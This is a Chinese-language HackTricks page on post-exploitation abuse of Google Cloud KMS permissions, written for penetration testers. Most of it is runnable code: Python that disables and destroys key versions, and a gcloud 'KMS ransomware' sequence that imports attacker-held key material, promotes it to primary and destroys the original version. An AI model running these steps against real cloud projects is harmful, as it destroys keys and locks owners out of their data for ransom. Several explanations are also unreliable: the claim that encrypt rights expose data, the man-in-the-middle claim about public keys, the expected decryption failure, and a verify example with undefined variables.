GCP - KMS Post Exploitation

支持 HackTricks

KMS

在以下链接中查找有关 KMS 的基本信息:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

具有此权限的攻击者可以销毁 KMS 版本。要做到这一点,首先需要禁用密钥,然后销毁它:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者账户使用密钥来完全窃取 KMS 密钥。由于这些资源策略在 GCP 中不存在,这是不可能的。

然而,还有另一种方法可以执行全局 KMS Ransomware,这涉及以下步骤:

  • 创建一个由攻击者导入的密钥材料的新版本密钥

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • 将其设置为默认版本(用于将来加密的数据)

  • 使用新版本重新加密用先前版本加密的旧数据。

  • 删除 KMS 密钥

  • 现在只有拥有原始密钥材料的攻击者才能解密加密的数据

以下是导入新版本并禁用/删除旧数据的步骤:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

这些权限允许攻击者使用现有的密钥对数据进行加密。虽然这不会直接泄露密钥的内容,但它可以被用来加密敏感数据,从而使攻击者能够访问这些数据。

cloudkms.cryptoKeyVersions.useToDecrypt | cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

这些权限允许攻击者使用现有的密钥对数据进行解密。这是一个更严重的权限泄露,因为它允许攻击者解密任何使用该密钥加密的数据,从而访问敏感信息。

cloudkms.cryptoKeyVersions.viewPublicKey

此权限允许攻击者查看非对称密钥的公钥。虽然公钥本身不是敏感信息,但它可以被用来进行进一步的攻击,例如中间人攻击。

cloudkms.keyRings.get | cloudkms.keyRings.list

这些权限允许攻击者查看密钥环的详细信息和列出所有的密钥环。虽然这不会直接泄露密钥的内容,但它可以帮助攻击者了解环境中的密钥管理结构,从而策划进一步的攻击。

cloudkms.cryptoKeys.get | cloudkms.cryptoKeys.list

这些权限允许攻击者查看密钥的详细信息和列出所有的密钥。虽然这不会直接泄露密钥的内容,但它可以帮助攻击者了解环境中的密钥管理结构,从而策划进一步的攻击。

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

权限

此权限允许攻击者使用密钥进行签名操作。

滥用

攻击者可以使用此权限对数据进行签名,从而伪造合法的签名。

检测

监控对签名操作的使用,尤其是异常的签名活动。

缓解

限制对签名权限的访问,仅授予必要的用户和服务账户。

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

权限

  • cloudkms.cryptoKeyVersions.useToVerify

描述

此权限允许攻击者使用指定的密钥版本来验证签名。

利用

gcloud kms keys versions verify \
    --project <project-id> \
    --location <location> \
    --keyring <keyring-name> \
    --key <key-name> \
    --version <key-version> \
    --input-file <input-file> \
    --signature-file <signature-file> \
    --algorithm <algorithm>

缓解措施

  • 限制对 cloudkms.cryptoKeyVersions.useToVerify 权限的访问。

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
支持 HackTricks

Last updated